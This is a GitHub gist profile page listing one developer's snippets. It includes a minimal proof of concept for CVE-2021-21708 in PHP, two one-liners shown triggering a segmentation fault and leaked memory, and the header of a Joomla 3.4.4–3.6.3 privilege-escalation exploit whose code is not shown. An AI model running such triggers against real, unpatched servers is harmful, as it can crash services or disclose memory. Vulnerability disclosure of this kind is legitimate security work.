Skip to content

Instantly share code, notes, and snippets.

View Grebenschikov's full-sized avatar
🤔

Alexander Grebenschikov

🤔
25 followers · 49 following
View GitHub Profile
@Grebenschikov
Grebenschikov / bash.log
Last active February 19, 2022 00:43
Minimal CVE-2021-21708 POC
❯ php -r "filter_var(str_repeat(1, 2), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); new PDO('mysql:');"
zsh: segmentation fault php -r
❯ php -r "filter_var(\$v = str_repeat(1, 8), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); echo \$v;"
charset%
@Grebenschikov
Grebenschikov / keybase.md
Created August 23, 2017 08:43

Keybase proof

I hereby claim:

  • I am grebenschikov on github.
  • I am package (https://keybase.io/package) on keybase.
  • I have a public key whose fingerprint is 52E8 140D D951 9094 DB76 CE48 B965 4373 7D96 085C

To claim this, I am signing this object:

@Grebenschikov
Grebenschikov / exploit.php
Last active January 2, 2017 10:54
Joomla 3.4.4 - 3.6.3 exploit for CVE-2016-8869 and CVE-2016-8870
<?php
/*
* Author: Alexander Grebenschikov <me@package.su>
* Versions: 3.4.4 through 3.6.3
* Exploit type: Account Creation, Elevated Privileges
* CVE Number: CVE-2016-8869, CVE-2016-8870
* Fixed Date: 2016-October-25
*/
@Grebenschikov
Grebenschikov / base_encode.php
Created September 23, 2016 08:52
Convert int to arbitrary base with custom alphabet
<?php
echo base_encode('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 100500) . PHP_EOL;
function base_encode($alphabet, $number, $suffix = '') {
$base = strlen($alphabet);
if ($number >= $base) {
$div = intval($number / $base); // For php7: intdiv($number, $base);
$mod = $number % $base;
return base_encode($alphabet, $div, $alphabet[$mod] . $suffix);
@Grebenschikov
Grebenschikov / C.js
Last active January 2, 2017 10:56
/*
* Simple dom framework
*
* For extending C, use
* C.node.prototype.someFunc = function() { return 'Value: ' + this.value(); }
*/
(function (w, d) {
function event(node, action, cb) {
if (node.addEventListener) {